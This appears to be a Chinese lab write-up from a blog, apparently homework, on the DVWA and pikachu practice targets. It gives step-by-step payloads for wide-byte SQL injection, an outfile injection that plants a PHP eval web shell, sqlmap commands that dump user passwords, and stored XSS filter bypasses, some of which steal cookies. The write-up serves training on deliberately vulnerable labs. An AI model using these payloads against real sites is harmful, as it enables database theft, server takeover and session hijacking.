SQL注入(宽字节注入,sql注入到getshell,sqlmap注入的使用)和XSS漏洞(存储型)实战练习(DVWA靶场)

1、利用宽字节注入实现“库名-表名”的注入过程,写清楚注入步骤;

1.开启burp抓包和pikachu靶场

因为网站会把用户输入的'前面加\进行处理,\会被编码为%5c,但是在查询中把%df和%5c通过GBK编码为汉字

所以在'前加一个%df就可以把网站给我们加的\给绕过

开启抓波拦截,输入%df' or 1=1 #

在我们的请求里面,网站已经把我们输入的%编码为了%25,不能达到我们的目的,所以手动修改数据包

然后放过去

发现方法有效,该点存在宽字节注入漏洞,然后开始正式爆破

我这里采用联合注入

判断有多少列

%df' or 1=1 order by 1#

order by 2

order by 3

发现有两列

开始爆数据库名

%df' union select 1,database();#

数据库名为pikachu

爆表名

%df' union select 1,table_name from information_schema.tables where table_schema=database();#

爆出来5张表


2、利用SQL注入实现DVWA站点的Getshell,写清楚步骤;

先判断有多少列

1' order by 2;#

1' order by 3;#

所以当前注入点为两列

注入一句话木马文件

' union select 1,"<?php eval($_POST['password']);?>" into outfile '/var/www/html/one.php

成功插入到网站根目录

获取shell

使用蚁剑连接

成功连接


3、使用Sqlmap工具完成对DVWA数据库的注入过程,要求按照库、表、列、内容的顺序进行注入;

启动burp和dvwa靶场

抓取一个数据包,然后复制数据包文件到1.txt文件

启动sqlmap,检测是否有漏洞

sqlmap -r 1.txt 

发现sqlmap可以正常注入,并且识别漏洞

注入数据库名

查看当前数据库

sqlmsqlmap -r 1.txt --current-db

dvwa

查看所有数据库

sqlmap -r 1.txt --dbs

查看所有表

sqlmap -r 1.txt --tables

查看dvwa数据库的所有列

 sqlmap -r 1.txt -D dvwa --columns

查看users表数据

sqlmap -r 1.txt -D dvwa -T users -C user,password --dump


4、完成DVWA靶场存储型XSS的漏洞练习

low


<script>alert(1)</script>

<img src=# οnerrοr=alert(2)>

medium

<script>alert(1)</script>

因为在massage做了addslashes过滤,绕不过去,只能从name注入

发现name做了长度限制,可以通过抓包或者改前端html来绕过

然后发现name做了<script>的替换,然后可以开始绕过

大小写绕过

<sCript>alert(1)</scRipt

双写绕过

<s<script>cript>alert(document.cookie)</script>

High

name新增正则匹配限制使用 <script> 标签
只能只有img标签
<img src=# οnerrοr=alert(1)>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值